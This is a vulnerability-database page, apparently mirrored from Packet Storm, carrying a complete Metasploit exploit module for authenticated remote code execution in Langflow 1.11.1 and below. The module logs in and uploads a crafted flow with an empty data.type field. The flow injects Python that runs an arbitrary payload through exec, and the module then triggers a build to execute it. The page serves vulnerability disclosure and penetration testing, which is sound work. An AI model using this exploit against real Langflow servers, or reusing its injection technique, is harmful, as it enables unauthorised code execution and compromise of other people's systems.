Lucene search
+L

Langflow AI Authenticated Remote Code Execution

🗓️ 09 Sep 2026 00:00:00Reported by Richard HoweType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Authenticated RCE in Langflow AI 1.11.1 and below via empty data.type field executing Python code.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow AI authenticated RCE',
            'Description' => %q{
              Langflow versions 1.11.1 and below are susceptible to authenticated
              remote code execution. By saving a flow where `data.type` is empty,
              an authenticated user can bypass the flow guard and execute
              arbitrary Python code.
            },
            'Author' => [
              'Richard Howe <rhowe425>'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-19295'],
              ['URL', 'https://www.ibm.com/support/pages/node/7284733']
            ],
            'Targets' => [
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => { 'RPORT' => 7860 },
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2026-08-28',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new(
              'TARGETURI',
              [true, 'Base path of the Langflow application', '/']
            ),
            OptString.new(
              'USERNAME',
              [true, 'Langflow login username', '']
            ),
            OptString.new(
              'PASSWORD',
              [true, 'Langflow login password', '']
            )
          ]
        )
      end
    
      def get_token(username, password)
        data = {
          'username' => username,
          'password' => password
        }
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
          'vars_post' => data
        )
    
        return unless res&.code&.between?(200, 299)
    
        json = res.get_json_document
        return unless json.is_a?(Hash)
    
        json['access_token']
      end
    
      def create_flow
        comp = Rex::Text.rand_text_alpha(8)
        node_id = Rex::Text.rand_text_alpha(8)
        component_display_name = Rex::Text.rand_text_alpha(5)
        component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"
    
        output_display_name = Rex::Text.rand_text_alpha(5)
        output_name = Rex::Text.rand_text_alpha(5).downcase
        output_method = Rex::Text.rand_text_alpha(5).downcase
    
        injected_code = [
          'from langflow.custom import Component',
          'from langflow.io import Output',
          'from langflow.schema.data import Data',
          '_fired = [False]',
          "class #{component_name}(Component):",
          "    display_name='#{component_display_name}'",
          "    outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]",
          "    @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
          "    def #{output_method}(self) -> Data:",
          '        return Data(data={})'
        ].join("\n")
    
        crafted_flow = {
          'name' => Rex::Text.rand_text_alpha(10),
          'description' => Rex::Text.rand_text_alpha(10),
          'data' => {
            'nodes' => [
              {
                'id' => node_id,
                'type' => 'genericNode',
                'position' => {
                  'x' => 0,
                  'y' => 0
                },
                'data' => {
                  'id' => node_id,
                  'type' => '',
                  'node' => {
                    'template' => {
                      '_type' => 'Component',
                      'code' => {
                        'type' => 'code',
                        'required' => true,
                        'show' => true,
                        'multiline' => true,
                        'value' => injected_code,
                        'name' => 'code',
                        'password' => false,
                        'advanced' => false,
                        'dynamic' => false
                      }
                    },
                    'description' => comp,
                    'base_classes' => ['Data'],
                    'display_name' => comp,
                    'name' => comp,
                    'frozen' => false,
                    'edited' => true,
                    'outputs' => [
                      {
                        'types' => ['Data'],
                        'selected' => 'Data',
                        'name' => output_name,
                        'display_name' => output_display_name,
                        'method' => output_method,
                        'value' => '__UNDEFINED__',
                        'cache' => true,
                        'allows_loop' => false,
                        'tool_mode' => false,
                        'hidden' => nil,
                        'required_inputs' => nil,
                        'group_outputs' => false
                      }
                    ],
                    'field_order' => ['code'],
                    'beta' => false
                  }
                }
              }
            ],
            'edges' => []
          }
        }
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
          'headers' => {
            'Content-Type' => 'application/json',
            'Authorization' => "Bearer #{@token}"
          },
          'data' => crafted_flow.to_json
        )
    
        unless res&.code&.between?(200, 299)
          fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.')
        end
    
        json = res.get_json_document
        return unless json.is_a?(Hash)
    
        json['id']
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/version')
        )
    
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        doc = res.get_json_document
    
        version_str = doc.is_a?(Hash) ? doc['version'] : nil
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str
    
        package = doc.is_a?(Hash) ? doc['package'] : nil
        return Exploit::CheckCode::Unknown('Failed to identify application.') unless package
    
        unless package.to_s.downcase == 'langflow'
          return Exploit::CheckCode::Safe('Application is not Langflow.')
        end
    
        version = Rex::Version.new(version_str.to_s)
    
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless version
    
        if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))
          return Exploit::CheckCode::Appears(
            "Version #{version} detected, which appears vulnerable."
          )
        end
    
        Exploit::CheckCode::Safe(
          "Version #{version} detected, which is not vulnerable."
        )
      end
    
      def cleanup
        super
        return if @flow_id.to_s.empty? || @token.to_s.empty?
    
        res = send_request_cgi(
          'method' => 'DELETE',
          'uri' => normalize_uri(
            target_uri.path,
            "api/v1/flows/#{@flow_id}"
          ),
          'headers' => {
            'Authorization' => "Bearer #{@token}"
          }
        )
    
        if res&.code&.between?(200, 299)
          print_good("Deleted malicious flow #{@flow_id}.")
        else
          print_warning("Failed to delete malicious flow #{@flow_id}.")
        end
      end
    
      def exploit
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
    
        @token = get_token(username, password)
    
        if @token.to_s.empty?
          fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
        end
    
        @flow_id = create_flow
    
        if @flow_id.to_s.empty?
          fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')
        end
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(
            target_uri.path,
            "api/v1/build/#{@flow_id}/flow"
          ),
          'headers' => {
            'Content-Type' => 'application/json',
            'Authorization' => "Bearer #{@token}"
          },
          'data' => {}.to_json
        )
    
        unless res&.code&.between?(200, 299)
          fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
        end
    
        print_status('Payload sent successfully.')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Sep 2026 00:00Current
CVSS 3.19.9
EPSS0.01809
SSVC
9